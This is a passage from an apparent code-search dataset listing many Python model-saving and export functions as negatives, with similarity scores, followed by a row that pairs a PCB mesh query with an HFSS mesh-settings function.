OrderedDict.fromkeys(element_index_to_file_key_map)\\n\\n for element in grid.leaf_view.entity_iterator(0):\\n data[element_index_to_file_key_map[index_set.entity_index(element)]] = transformation(\\n fun.evaluate(element,local_coordinates).ravel())\\n interface.add_element_data(data,kwargs.get('label','element_data'))\\n else:\\n raise ValueError(\\\"data_type must be one of 'node', 'element', or 'element_node'\\\")\\n\\n interface.write(kwargs['file_name'])\",\n \"def export(model, args, filename=None, export_params=True,\\n graph_name='Graph', save_text=False, opset_version=None):\\n\\n _check_available()\\n\\n chainer.config.train = False\\n chainer.config.enable_backprop = True\\n\\n if opset_version is None:\\n opset_version = int(onnx.defs.onnx_opset_version())\\n elif opset_version < MINIMUM_OPSET_VERSION:\\n warnings.warn(\\n 'ONNX-Chainer has been tested only with opset_version >= {m}. '\\n 'This is because ONNXRuntime supports only opset_version >= {m}. '\\n 'The ONNX file exported with your requested opset_version ({o}) '\\n 'may cause some problems because the converters used for the '\\n 'opset_version have not been tested.'.format(\\n m=MINIMUM_OPSET_VERSION,\\n o=opset_version)\\n )\\n\\n # Forward computation\\n network_inputs = []\\n if isinstance(args, tuple):\\n args = list(args)\\n if isinstance(args, list):\\n for i, arg in enumerate(args):\\n if isinstance(arg, chainer.get_array_types()):\\n args[i] = chainer.Variable(arg)\\n network_inputs.append(args[i])\\n flat_args = args\\n outputs = model(*args)\\n elif isinstance(args, dict):\\n for key, arg in args.items():\\n if isinstance(arg, chainer.get_array_types()):\\n args[key] = chainer.Variable(arg)\\n network_inputs.append(args[key])\\n flat_args = list(args.values())\\n outputs = model(**args)\\n elif isinstance(args, chainer.get_array_types()):\\n args = chainer.Variable(args)\\n network_inputs.append(args)\\n flat_args = [args]\\n outputs = model(args)\\n elif isinstance(args, chainer.Variable):\\n network_inputs.append(args)\\n flat_args = [args]\\n outputs = model(args)\\n else:\\n raise ValueError(\\n 'The \\\\'args\\\\' argument should be a list, tuple, dict, '\\n 'numpy array, or Chainer Variable. But a {} object was '\\n 'given.'.format(type(args)))\\n\\n initializers = []\\n input_tensors = []\\n param_names = set()\\n for param in model.params():\\n param_names.add(str(id(param)))\\n tensor = convert_parameter(param)\\n initializers.append(tensor)\\n input_tensors.append(helper.make_tensor_value_info(\\n str(id(param)), tensor.data_type, tensor.dims))\\n\\n network_input_names = set()\\n for i in network_inputs:\\n network_input_names.add(str(id(i)))\\n input_tensors.append(helper.make_tensor_value_info(\\n str(id(i)), NP_TYPE_TO_TENSOR_TYPE[i.dtype], i.shape))\\n\\n with ONNXExport(opset_version) as o:\\n if isinstance(outputs, (list, tuple)):\\n flat_outputs = outputs\\n elif isinstance(outputs, dict):\\n flat_outputs = list(outputs.values())\\n elif isinstance(outputs, chainer.Variable):\\n flat_outputs = [outputs]\\n else:\\n raise RuntimeError(\\n 'Unexpected output type from the model: {}'.format(\\n type(outputs)))\\n chainer.grad(flat_outputs, list(model.params()) + flat_args)\\n\\n implicit_input_names = set(o.inputs.keys()) - param_names -\\\\\\n network_input_names\\n for name in implicit_input_names:\\n tensor = convert_parameter(o.inputs[name])\\n initializers.append(tensor)\\n input_tensors.append(helper.make_tensor_value_info(\\n name, tensor.data_type, tensor.dims))\\n\\n # If additional parameters are created during conversion\\n if o.additional_parameters:\\n for param in o.additional_parameters:\\n tensor = convert_parameter(param)\\n initializers.append(tensor)\\n input_tensors.append(helper.make_tensor_value_info(\\n str(id(param)), tensor.data_type, tensor.dims))\\n\\n # The graph must be topologically sorted\\n graph = reversed(o.graph)\\n\\n # Convert output tensors\\n output_tensors = []\\n if isinstance(outputs, dict):\\n outputs = list(outputs.values())\\n if not isinstance(outputs, (list, tuple)):\\n outputs = (outputs,)\\n\\n for output in outputs:\\n output_id = str(id(output))\\n if output_id in o.renamed_outputs:\\n output_id = o.renamed_outputs[output_id]\\n output_tensors.append(helper.make_tensor_value_info(\\n output_id, NP_TYPE_TO_TENSOR_TYPE[output.dtype], output.shape))\\n\\n if not export_params:\\n initializers = []\\n\\n onnx_graph = helper.make_graph(\\n graph, graph_name, input_tensors, output_tensors,\\n initializer=initializers)\\n\\n model = helper.make_model(\\n onnx_graph,\\n producer_name='Chainer',\\n producer_version=chainer.__version__,\\n opset_imports=[helper.make_opsetid('', opset_version)]\\n )\\n\\n model.ir_version = onnx.IR_VERSION\\n\\n rename_tensors(model)\\n checker.check_model(model)\\n\\n if filename is not None and isinstance(filename, str):\\n with open(filename, 'wb') as fp:\\n fp.write(model.SerializeToString())\\n if save_text:\\n with open(filename + '.txt', 'w') as fp:\\n print(model, file=fp)\\n elif hasattr(filename, 'write'):\\n filename.write(model.SerializeToString())\\n\\n return model\",\n \"def save(model: nn.Module, path):\\n save_model(model, path)\",\n \"def save_model(model):\\n model.to_disk(\\\"../model/custom_ner_model\\\")\",\n \"def model_architecture_to_file(model, save_path, show_shapes=True):\\n plot_model(model, to_file=save_path + \\\"_model_architecture.png\\\", show_shapes=show_shapes)\",\n \"def save(self, filename):\\n model_dict = {'model_state_dict': self.state_dict(),\\n 'init_args': {\\\"vocab_size\\\": self.vocab_size,\\n \\\"embeddings_size\\\": self.embeddings_size,\\n \\\"hidden_size\\\": self.hidden_size,\\n \\\"mlp_hidden_size\\\": self.mlp_hidden_size,\\n \\\"dropout\\\": self.dropout}}\\n torch.save(model_dict, filename)\",\n \"def export_model_as_float32(temporary_model, checkpoint_path, export_path):\\r\\n checkpoint = tf.train.Checkpoint(model=temporary_model)\\r\\n\\r\\n manager = tf.train.CheckpointManager(\\r\\n checkpoint=checkpoint, directory=checkpoint_path, max_to_keep=3\\r\\n )\\r\\n\\r\\n checkpoint.restore(manager.latest_checkpoint).expect_partial()\\r\\n\\r\\n temporary_model.save(export_path, include_optimizer=False)\",\n \"def serialize_model(model,model_dir): \\n # Make output directory to store model\\n pathlib.Path(model_dir).mkdir(parents=True, exist_ok=True)\\n model_json = model.to_json()\\n \\n # Serialize model to JSON\\n with open(model_dir + '/' + model_dir + \\\".json\\\", \\\"w\\\") as json_file:\\n json_file.write(model_json)\\n \\n # Serialize weights to HDF5\\n model.save_weights(model_dir +'/' + model_dir + \\\".h5\\\")\\n print(\\\"Saved model to disk\\\")\\n print(\\\"Model info stored within local directory: {model_name}/\\\")\\n print(\\\"Model weights stored as: {model_name}/{model_name}.h5\\\")\\n print(\\\"Model structure stored as: {model_name}/{model_name}.json\\\")\",\n \"def export(self, output_path: str, export_format: str = 'csv', z_positive_up: bool = True, **kwargs):\\n strt = perf_counter()\\n print('****Exporting surface data to {}****'.format(export_format))\\n fmt = export_format.lower()\\n if os.path.exists(output_path):\\n tstmp = datetime.now().strftime('%Y%m%d_%H%M%S')\\n foldername, filname = os.path.split(output_path)\\n filnm, filext = os.path.splitext(filname)\\n output_path = os.path.join(foldername, '{}_{}{}'.format(filnm, tstmp, filext))\\n\\n if fmt == 'csv':\\n self._export_csv(output_path, z_positive_up=z_positive_up)\\n elif fmt == 'geotiff':\\n self._export_geotiff(output_path, z_positive_up=z_positive_up)\\n elif fmt == 'bag':\\n self._export_bag(output_path, z_positive_up=z_positive_up, **kwargs)\\n else:\\n raise ValueError('fqpr_surface_v3: Unrecognized format {}'.format(fmt))\\n end = perf_counter()\\n print('****Export complete: {}s****'.format(round(end - strt, 3)))\",\n \"def create_model_csv(self):\\n\\n self.model_df.to_csv(self.model_output_file)\",\n \"def export_model(self, file, add_metada_file = False):\\n assert self.is_fitted_\\n file = os.path.expanduser(file)\\n metadata = self._export_metadata()\\n if add_metada_file:\\n with open(file + \\\".metadata\\\", \\\"w\\\") as of:\\n json.dump(metadata, of, indent=4)\\n metadata = json.dumps(metadata)\\n metadata = metadata.encode('utf-8')\\n self._cpp_obj.serialize_obj(file, metadata, self.ndim_ > 1, has_imputer=self.build_imputer)\\n return self\",\n \"def save_model(self, filename):\\n self.model.save('models/' + str(filename))\",\n \"def export(self, exdata = True, exlights = True, exaovs = True, exshaders = True, exmaster = True):\\n\\t\\tif exdata:\\n\\t\\t\\tself.exportData()\\n\\t\\tif exshaders:\\n\\t\\t\\tself.exportShaders()\\n\\t\\tif exlights:\\n\\t\\t\\tself.exportLights()\\n\\t\\tif exaovs:\\n\\t\\t\\tself.exportAovs()\\n\\t\\tif exmaster:\\n\\t\\t\\tself.exportMasterLayerSettings()\",\n \"def save_model(self, filename):\\n\\t\\tpickle.dump(self, open(filename, 'wb'))\\n\\t\\tprint('Model saved in',filename)\",\n \"def save_model(self, name): \\n torch.save(dict(params=self.model.encoder.state_dict()), osp.join(self.args.save_path, name + '.pth'))\",\n \"def save_model(self, step):\\n\\n # file_name = params['name']\\n # pickle.dump(self, gzip.open(file_name, 'wb'))\",\n \"def save_model(exe, graph, dirname):\\n assert graph is not None and dirname is not None\\n graph = GraphWrapper(graph) if isinstance(graph,\\n paddle.static.Program) else graph\\n\\n paddle.static.save(program=graph.program, model_path=dirname)\\n weights_file = dirname\\n _logger.info(\\\"Save model weights into {}\\\".format(weights_file))\\n shapes = {}\\n for var in graph.program.list_vars():\\n if var.persistable and str(var.type) != 'VarType.READER':\\n shapes[var.name] = var.shape\\n SHAPES_FILE = os.path.join(dirname, _SHAPES_FILE)\\n if not os.path.exists(dirname):\\n os.makedirs(dirname)\\n with open(SHAPES_FILE, \\\"w\\\") as f:\\n json.dump(shapes, f)\\n _logger.info(\\\"Save shapes of weights into {}\\\".format(SHAPES_FILE))\\n\\n groups = {}\\n for op in graph.ops():\\n if 'conv2d' in op.type():\\n filter_name = op.inputs('Filter')[0].name()\\n groups[filter_name] = op.attr('groups')\\n\\n GROUPS_FILE = os.path.join(dirname, _GROUPS_FILE)\\n with open(GROUPS_FILE, \\\"w\\\") as f:\\n json.dump(groups, f)\\n _logger.info(\\\"Save groups of cnov2d into {}\\\".format(GROUPS_FILE))\",\n \"def exportSurface(self, idx = 0, z = 1, verbose = 1, format = \\\"lammps\\\",\\\\\\n filename = None, vacuum = 0, surface = 1, strained = False,\\\\\\n kpoints = None, ab = False, anchor = \\\"@\\\"):\\n\\n if verbose > 0:\\n string = \\\"Building surface %i in the following interface\\\" % surface\\n ut.infoPrint(string)\\n self.printInterfaces(idx = idx, anchor = anchor)\\n\\n if filename is None:\\n filename = \\\"surface_%s_S%s.%s\\\" % (idx, surface, format)\\n\\n \\\"\\\"\\\"Build the selected interface\\\"\\\"\\\"\\n base, pos, type_n, mass = self.buildSurface(idx = idx, z = z, verbose = verbose,\\\\\\n vacuum = vacuum, surface = surface, ab = ab,\\\\\\n strained = strained)\\n\\n \\\"\\\"\\\"Sort first based on type then Z-position then Y-position\\\"\\\"\\\"\\n ls = np.lexsort((pos[:, 1], pos[:, 2], type_n))\\n type_n = type_n[ls]\\n mass = mass[ls]\\n pos = pos[ls]\\n\\n \\\"\\\"\\\"After sorting, index all positions\\\"\\\"\\\"\\n index = np.arange(type_n.shape[0])\\n\\n \\\"\\\"\\\"Build an Atoms object\\\"\\\"\\\"\\n atoms = structure.Structure(cell = base, pos = pos, type_n = type_n, type_i = None,\\\\\\n mass = mass, idx = index, filename = filename, pos_type = \\\"c\\\")\\n\\n \\\"\\\"\\\"Align the first dimension to the x-axis\\\"\\\"\\\"\\n atoms.alignStructure(dim = [1, 0, 0], align = [1, 0, 0])\\n\\n \\\"\\\"\\\"Write the structure object to specified file\\\"\\\"\\\"\\n atoms.writeStructure(filename = filename, format = format, verbose = verbose)\\n\\n \\\"\\\"\\\"If specified write KPOINTS file\\\"\\\"\\\"\\n if kpoints is not None:\\n file_io.writeKPTS(cell = base, verbose = verbose, **kpoints)\",\n \"def _export_model(\\n self,\\n precision: ModelPrecision = ModelPrecision.FP32,\\n export_format: ExportType = ExportType.ONNX,\\n dump_features: bool = True,\\n ):\\n # copied from OTX inference_task.py\\n self._data_cfg = ConfigDict(\\n data=ConfigDict(\\n train=ConfigDict(\\n otx_dataset=None,\\n labels=self._labels,\\n ),\\n test=ConfigDict(\\n otx_dataset=None,\\n labels=self._labels,\\n ),\\n )\\n )\\n self._init_task(export=True)\\n\\n cfg = self.configure(False, None)\\n\\n self._precision[0] = precision\\n export_options: Dict[str, Any] = {}\\n export_options[\\\"deploy_cfg\\\"] = self._init_deploy_cfg(cfg)\\n assert len(self._precision) == 1\\n export_options[\\\"precision\\\"] = str(self._precision[0])\\n export_options[\\\"type\\\"] = str(export_format)\\n\\n export_options[\\\"deploy_cfg\\\"][\\\"dump_features\\\"] = dump_features\\n if dump_features:\\n output_names = export_options[\\\"deploy_cfg\\\"][\\\"ir_config\\\"][\\\"output_names\\\"]\\n if \\\"feature_vector\\\" not in output_names:\\n output_names.append(\\\"feature_vector\\\")\\n if export_options[\\\"deploy_cfg\\\"][\\\"codebase_config\\\"][\\\"task\\\"] != \\\"Segmentation\\\":\\n if \\\"saliency_map\\\" not in output_names:\\n output_names.append(\\\"saliency_map\\\")\\n export_options[\\\"model_builder\\\"] = getattr(self, \\\"model_builder\\\", build_segmentor)\\n\\n if self._precision[0] == ModelPrecision.FP16:\\n export_options[\\\"deploy_cfg\\\"][\\\"backend_config\\\"][\\\"mo_options\\\"][\\\"flags\\\"].append(\\\"--compress_to_fp16\\\")\\n\\n backend_cfg_backup = {}\\n if export_format == ExportType.ONNX:\\n backend_cfg_backup = export_options[\\\"deploy_cfg\\\"][\\\"backend_config\\\"]\\n export_options[\\\"deploy_cfg\\\"][\\\"backend_config\\\"] = {\\\"type\\\": \\\"onnxruntime\\\"}\\n export_options[\\\"deploy_cfg\\\"][\\\"ir_config\\\"][\\\"dynamic_axes\\\"][\\\"input\\\"] = {0: \\\"batch\\\"}\\n\\n exporter = SegmentationExporter()\\n results = exporter.run(\\n cfg,\\n **export_options,\\n )\\n\\n if export_format == ExportType.ONNX:\\n results[\\\"inference_parameters\\\"] = {}\\n results[\\\"inference_parameters\\\"][\\\"mean_values\\\"] = \\\" \\\".join(\\n map(str, backend_cfg_backup[\\\"mo_options\\\"][\\\"args\\\"][\\\"--mean_values\\\"])\\n )\\n results[\\\"inference_parameters\\\"][\\\"scale_values\\\"] = \\\" \\\".join(\\n map(str, backend_cfg_backup[\\\"mo_options\\\"][\\\"args\\\"][\\\"--scale_values\\\"])\\n )\\n\\n return results\",\n \"def filemenu_Export(self):\\n line_dict = {}\\n for line in self.lines.values():\\n for name, arr in line.to_mat().items():\\n line_dict[name] = arr\\n fileTypes = [(\\\"MATLAB file\\\",\\\"*.mat\\\"), (\\\"NumPy file\\\",\\\"*.npz\\\")]\\n options = {}\\n options['initialdir'] = os.path.expanduser('~')\\n options['filetypes'] = fileTypes\\n options['parent'] = self.master\\n filename = filedialog.asksaveasfilename(**options)\\n if filename:\\n _, ext = os.path.splitext(filename)\\n if ext == \\\".mat\\\":\\n sio.savemat(filename, line_dict)\\n elif ext == \\\".npz\\\":\\n np.savez(filename, lines=line_dict)\",\n \"def save_model(model, model_filepath):\",\n \"def dump_model(model, filename):\\n import pickle\\n logging.info(\\\"Dumping model into model.pkl\\\")\\n with open(filename, 'w') as dump_file:\\n pickle.dump(model, dump_file)\",\n \"def save(self):\\n for name, param in self.components.items():\\n param_path = os.path.join(self.model_path, \\\"%s.mat\\\" % name)\\n if hasattr(param, 'params'):\\n param_values = {p.name: p.get_value() for p in param.params}\\n else:\\n param_values = {name: param.get_value()}\\n scipy.io.savemat(param_path, param_values)\",\n \"def saveModel(self):\\n self._model.save_weights('./my_model')\\n return None\",\n \"def save_model(self, file_name):\\n\\t\\tself.model.save_weights(file_name)\",\n \"def dump(self, filename):\\n\\n utils.save(filename, {'model': self}, zipped=True)\",\n \"def save(self, filename):\\n self.model.save_weights(filename)\",\n \"def save_model(self):\\n torch.save(self.get_params(), 'code/lr-model.pt')\",\n \"def export_prediction_to_mesh(outprefix, input_sdf, output_df, output_sem,\\n target_df, target_sem):\\n # Add back (below floor) padding for vis (creates the surface on the bottom).\\n (scene_dim_z, scene_dim_y, scene_dim_x) = input_sdf.shape\\n save_input_sdf = constants.TRUNCATION * np.ones(\\n [scene_dim_z, 2 * FLAGS.pad_test + scene_dim_y, scene_dim_x])\\n save_prediction = np.copy(save_input_sdf)\\n save_target = None if target_df is None else np.copy(save_input_sdf)\\n save_input_sdf[:, FLAGS.pad_test:FLAGS.pad_test + scene_dim_y, :] = input_sdf\\n save_prediction[:, FLAGS.pad_test:FLAGS.pad_test + scene_dim_y, :] = output_df\\n if target_df is not None:\\n save_target[:, FLAGS.pad_test:FLAGS.pad_test + scene_dim_y, :] = target_df\\n # For error visualization as colors on mesh.\\n save_errors = np.zeros(shape=save_prediction.shape)\\n save_errors[:, FLAGS.pad_test:FLAGS.pad_test + scene_dim_y, :] = np.abs(\\n output_df - target_df)\\n if FLAGS.predict_semantics:\\n save_pred_sem = np.zeros(shape=save_prediction.shape, dtype=np.uint8)\\n save_pred_sem[:, FLAGS.pad_test:\\n FLAGS.pad_test + scene_dim_y, :] = output_sem\\n save_pred_sem[np.greater(save_prediction, 1)] = 0\\n if target_sem is not None:\\n save_target_sem = np.zeros(shape=save_prediction.shape, dtype=np.uint8)\\n save_target_sem[:, FLAGS.pad_test:\\n FLAGS.pad_test + scene_dim_y, :] = target_sem\\n\\n # Save as mesh.\\n util.save_iso_meshes(\\n [save_input_sdf, save_prediction, save_target],\\n [None, save_errors, save_errors], [None, save_pred_sem, save_target_sem],\\n [\\n outprefix + 'input.obj', outprefix + 'pred.obj',\\n outprefix + 'target.obj'\\n ],\\n isoval=1)\",\n \"def test_3d():\\n dic, data = ng.bruker.read(os.path.join(DATA_DIR, \\\"bruker_3d\\\"))\\n assert dic['FILE_SIZE'] == 91226112\\n assert data.shape == (116, 128, 768)\\n assert round(data[0, 0, 40].real, 2) == 18.0\\n assert round(data[0, 0, 40].imag, 2) == -66.0\\n assert round(data[5, 13, 91].real, 2) == 1138.0\\n assert round(data[5, 13, 91].imag, 2) == 3482.0\\n write_readback(dic, data)\",\n \"def save_model(self, path):\\n self._model.save(os.path.join(path, 'trained_model.h5'))\\n plot_model(self._model, to_file=os.path.join(path, 'model_structure.png'), show_shapes=True, show_layer_names=True)\",\n \"def _generate_model(self, specs, experiment = None, filename = 'dist/app/Model.hs'):\\n with open(filename, \\\"w\\\") as file:\\n self._write_model(file, specs, experiment = experiment)\",\n \"def write_out_prediction_objects(model, lookups):\\n neighbours = get_neighbours(lookups, model)\\n id_to_movie = get_reverse_movie_lookup(lookups)\\n popular_films = get_popular(lookups)\\n\\n output = {\\n \\\"neighbours\\\": neighbours,\\n \\\"id_to_movie\\\": id_to_movie,\\n \\\"popular_films\\\": popular_films,\\n }\\n\\n with open(PICKLE_FILENAME, \\\"wb\\\") as f:\\n pickle.dump(output, f)\\n\\n return output\",\n \"def save_model(self, output_path):\\n joblib.dump(self.dtr, output_path)\",\n \"def _save_model(self):\\n with open(self.filepath, 'wb') as file:\\n pickle.dump(self.cmodel, file)\",\n \"def save_model(self, path):\\n save_path = self._saver.save(self._sess, path + '/model.ckp')\\n\\n attrs_to_save = {\\n '_m': self._m,\\n '_n': self._n,\\n '_neighbourhood': self._neighbourhood,\\n # '_topography': self._topography,\\n '_num_iterations': self._num_iterations,\\n '_Wts': self._Wts,\\n '_locations': self._locations,\\n '_centroid_grid': self._centroid_grid,\\n '_learned': self._learned,\\n 'abnormal_dist': self.abnormal_dist\\n }\\n\\n output = open(path + '/som.pkl', 'wb')\\n pickle.dump(attrs_to_save, output)\\n output.close()\\n print(\\\"Model saved in path: %s\\\" % save_path)\\n\\n pd.DataFrame(self._centroid_grid).to_csv(path + '/grid.csv', header=False, index=False)\\n print('Grid saved to ' + path + ' for easy reading')\",\n \"def save(self, folder):\\n if not path.exists(folder):\\n os.makedirs(folder)\\n param = {\\n \\\"model\\\": self.__class__.__name__,\\n \\\"nr_labels\\\": self.nr_labels,\\n \\\"nr_features\\\": self.nr_features,\\n \\\"nr_codes\\\": self.nr_codes,\\n \\\"bias\\\": self.bias,\\n \\\"pred_kwargs\\\": self.pred_params.to_dict(),\\n }\\n param = self.append_meta(param)\\n with open(\\\"{}/param.json\\\".format(folder), \\\"w\\\") as f:\\n f.write(json.dumps(param, indent=True))\\n smat_util.save_matrix(\\\"{}/W.npz\\\".format(folder), self.W)\\n smat_util.save_matrix(\\\"{}/C.npz\\\".format(folder), self.C)\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.64824575","0.6474481","0.64248276","0.63080794","0.6297194","0.62525713","0.6229305","0.6211556","0.61593837","0.6107157","0.6102703","0.60517895","0.60356396","0.60192573","0.6001406","0.5998077","0.5985993","0.5985118","0.59555966","0.59447503","0.58836585","0.5880543","0.58772385","0.5865175","0.5858805","0.5851716","0.58382297","0.5819633","0.5818345","0.58103687","0.58082134","0.58027685","0.5796093","0.57953674","0.57883596","0.5783622","0.57724667","0.57620025","0.5759722","0.5756899","0.57533085","0.57188106","0.57146966","0.570923","0.57059336","0.57017154","0.5697729","0.5696549","0.56890273","0.5687478","0.5683797","0.5675129","0.5667869","0.5662499","0.5643524","0.5640537","0.563991","0.5637468","0.563681","0.5633202","0.56282735","0.5628119","0.56269395","0.5626311","0.5618233","0.56175876","0.5594562","0.5587249","0.55818295","0.5576766","0.55661184","0.5552735","0.5551314","0.55501276","0.55387425","0.5528372","0.5526575","0.55194795","0.55111396","0.55097926","0.55090874","0.5504049","0.5500849","0.5498254","0.5495748","0.5484324","0.5477381","0.5475787","0.54745436","0.5472597","0.5472265","0.5470113","0.5467524","0.54671556","0.5452472","0.5452302","0.54503155","0.544575","0.5445334","0.544267"],"string":"[\n \"0.64824575\",\n \"0.6474481\",\n \"0.64248276\",\n \"0.63080794\",\n \"0.6297194\",\n \"0.62525713\",\n \"0.6229305\",\n \"0.6211556\",\n \"0.61593837\",\n \"0.6107157\",\n \"0.6102703\",\n \"0.60517895\",\n \"0.60356396\",\n \"0.60192573\",\n \"0.6001406\",\n \"0.5998077\",\n \"0.5985993\",\n \"0.5985118\",\n \"0.59555966\",\n \"0.59447503\",\n \"0.58836585\",\n \"0.5880543\",\n \"0.58772385\",\n \"0.5865175\",\n \"0.5858805\",\n \"0.5851716\",\n \"0.58382297\",\n \"0.5819633\",\n \"0.5818345\",\n \"0.58103687\",\n \"0.58082134\",\n \"0.58027685\",\n \"0.5796093\",\n \"0.57953674\",\n \"0.57883596\",\n \"0.5783622\",\n \"0.57724667\",\n \"0.57620025\",\n \"0.5759722\",\n \"0.5756899\",\n \"0.57533085\",\n \"0.57188106\",\n \"0.57146966\",\n \"0.570923\",\n \"0.57059336\",\n \"0.57017154\",\n \"0.5697729\",\n \"0.5696549\",\n \"0.56890273\",\n \"0.5687478\",\n \"0.5683797\",\n \"0.5675129\",\n \"0.5667869\",\n \"0.5662499\",\n \"0.5643524\",\n \"0.5640537\",\n \"0.563991\",\n \"0.5637468\",\n \"0.563681\",\n \"0.5633202\",\n \"0.56282735\",\n \"0.5628119\",\n \"0.56269395\",\n \"0.5626311\",\n \"0.5618233\",\n \"0.56175876\",\n \"0.5594562\",\n \"0.5587249\",\n \"0.55818295\",\n \"0.5576766\",\n \"0.55661184\",\n \"0.5552735\",\n \"0.5551314\",\n \"0.55501276\",\n \"0.55387425\",\n \"0.5528372\",\n \"0.5526575\",\n \"0.55194795\",\n \"0.55111396\",\n \"0.55097926\",\n \"0.55090874\",\n \"0.5504049\",\n \"0.5500849\",\n \"0.5498254\",\n \"0.5495748\",\n \"0.5484324\",\n \"0.5477381\",\n \"0.5475787\",\n \"0.54745436\",\n \"0.5472597\",\n \"0.5472265\",\n \"0.5470113\",\n \"0.5467524\",\n \"0.54671556\",\n \"0.5452472\",\n \"0.5452302\",\n \"0.54503155\",\n \"0.544575\",\n \"0.5445334\",\n \"0.544267\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.69140553"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":80085,"cells":{"query":{"kind":"string","value":"Create a custom mesh tailored on a PCB design."},"document":{"kind":"string","value":"def globalMeshSettings(\n self,\n meshtype,\n gap_min_elements=\"1\",\n noOgrids=False,\n MLM_en=True,\n MLM_Type=\"3D\",\n stairStep_en=False,\n edge_min_elements=\"1\",\n object=\"Region\",\n ):\n oModule = self.odesign.GetModule(\"MeshRegion\")\n\n oBoundingBox = self.modeler.oeditor.GetModelBoundingBox()\n xsize = abs(float(oBoundingBox[0]) - float(oBoundingBox[3])) / (15 * meshtype * meshtype)\n ysize = abs(float(oBoundingBox[1]) - float(oBoundingBox[4])) / (15 * meshtype * meshtype)\n zsize = abs(float(oBoundingBox[2]) - float(oBoundingBox[5])) / (10 * meshtype)\n MaxSizeRatio = 1 + (meshtype / 2)\n\n oModule.EditGlobalMeshRegion(\n [\n \"NAME:Settings\",\n \"MeshMethod:=\",\n \"MesherHD\",\n \"UserSpecifiedSettings:=\",\n True,\n \"ComputeGap:=\",\n True,\n \"MaxElementSizeX:=\",\n str(xsize) + self.modeler.model_units,\n \"MaxElementSizeY:=\",\n str(ysize) + self.modeler.model_units,\n \"MaxElementSizeZ:=\",\n str(zsize) + self.modeler.model_units,\n \"MinElementsInGap:=\",\n gap_min_elements,\n \"MinElementsOnEdge:=\",\n edge_min_elements,\n \"MaxSizeRatio:=\",\n str(MaxSizeRatio),\n \"NoOGrids:=\",\n noOgrids,\n \"EnableMLM:=\",\n MLM_en,\n \"EnforeMLMType:=\",\n MLM_Type,\n \"MaxLevels:=\",\n \"0\",\n \"BufferLayers:=\",\n \"0\",\n \"UniformMeshParametersType:=\",\n \"Average\",\n \"StairStepMeshing:=\",\n stairStep_en,\n \"MinGapX:=\",\n str(xsize / 10) + self.modeler.model_units,\n \"MinGapY:=\",\n str(xsize / 10) + self.modeler.model_units,\n \"MinGapZ:=\",\n str(xsize / 10) + self.modeler.model_units,\n \"Objects:=\",\n [object],\n ]\n )\n return True"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def createMesh(self, chem, coord_x_start, coord_y_start) :\r\n init_conc = .0\r\n self.compParDiff(chem)\r\n comp.Comp.createMeshHomo(self, 'SC', chem, init_conc, coord_x_start, coord_y_start)\r\n #self.meshes[0].setConc(1)\r","def MeshMachine(main):\n\n # oDesign definition\n oDesign = main['ANSYS']['oDesign']\n\n # Data for the rotor mesh\n RotorName = main['ANSYS']['Rotor&Magnets']['Name'][0]\n RotorNumMaxElem = main['ANSYS']['Mesh']['Rotor']['NumMaxElem']\n RotorMaxLength = main['ANSYS']['Mesh']['Rotor']['MaxLength']\n\n # Data for the magnets mesh\n PMNames = main['ANSYS']['Rotor&Magnets']['PMNames']\n PMNumMaxElem = main['ANSYS']['Mesh']['Magnets']['NumMaxElem']\n PMMaxLength = main['ANSYS']['Mesh']['Magnets']['MaxLength']\n\n # Data for the Stator mesh\n StatorName = main['ANSYS']['Stator']['Name']\n StatorNormalDev = main['ANSYS']['Mesh']['Stator']['NormalDev']\n StatorAspectRatio = main['ANSYS']['Mesh']['Stator']['AspectRatio']\n\n # Data for the Stator mesh\n CoilNames = main['ANSYS']['Winding']['CoilNames']\n WindingNumMaxElem = main['ANSYS']['Mesh']['Winding']['NumMaxElem']\n WindingMaxLength = main['ANSYS']['Mesh']['Winding']['MaxLength']\n\n WindingName = []\n for phase in CoilNames:\n for direction in phase:\n WindingName += direction\n\n # Creating meshes\n oModule = oDesign.GetModule(\"MeshSetup\")\n\n # Rotor meshes\n oModule.AssignLengthOp(\n [\n \"NAME:Rotor\",\n \"RefineInside:=\", True,\n \"Enabled:=\", True,\n \"Objects:=\", [RotorName],\n \"RestrictElem:=\", False,\n \"NumMaxElem:=\", str(RotorNumMaxElem),\n \"RestrictLength:=\", True,\n \"MaxLength:=\", str(RotorMaxLength)+\"mm\"\n ]\n )\n # Magnet meshes\n oModule.AssignLengthOp(\n [\n \"NAME:Magnets\",\n \"RefineInside:=\", True,\n \"Enabled:=\", True,\n \"Objects:=\", PMNames,\n \"RestrictElem:=\", False,\n \"NumMaxElem:=\", str(PMNumMaxElem),\n \"RestrictLength:=\", True,\n \"MaxLength:=\", str(PMMaxLength)+\"mm\"\n ]\n )\n # Stator meshes\n oModule.AssignTrueSurfOp(\n [\n \"NAME:Stator\",\n \"Objects:=\", [StatorName],\n \"CurvedSurfaceApproxChoice:=\", \"ManualSettings\",\n \"SurfDevChoice:=\", 0,\n \"NormalDevChoice:=\", 2,\n \"NormalDev:=\", str(StatorNormalDev) + \"deg\",\n \"AspectRatioChoice:=\", 2,\n \"AspectRatio:=\", str(StatorAspectRatio)\n ]\n )\n\n # Coil meshes\n oModule.AssignLengthOp(\n [\n \"NAME:Coils\",\n \"RefineInside:=\"\t, True,\n \"Enabled:=\"\t\t, True,\n \"Objects:=\"\t\t, WindingName,\n \"RestrictElem:=\"\t, False,\n \"NumMaxElem:=\"\t\t, str(WindingNumMaxElem),\n \"RestrictLength:=\"\t, True,\n \"MaxLength:=\"\t\t, str(WindingMaxLength) +\"mm\"\n ]\n )\n\n return main","def create_mesh(name):\n return bpy.data.meshes.new(name)","def CreateDummyLowerDimensionalMesh(self):\n\n\n sys.stdout = open(os.devnull, \"w\")\n p = self.InferPolynomialDegree()\n mesh = Mesh()\n if self.element_type == \"tet\":\n mesh.Rectangle(nx=1,ny=1, element_type=\"tri\")\n mesh.GetHighOrderMesh(p=p)\n elif self.element_type == \"hex\":\n mesh.Rectangle(nx=1,ny=1, element_type=\"quad\")\n mesh.GetHighOrderMesh(p=p)\n elif self.element_type == \"tri\" or self.element_type == \"quad\":\n mesh.Line(n=1, p=p)\n elif self.element_type == \"line\":\n mesh.element_type = \"point\"\n mesh.nelem = 1\n mesh.nnode = 1\n mesh.degree = p\n mesh.elements = np.array([[0]])\n 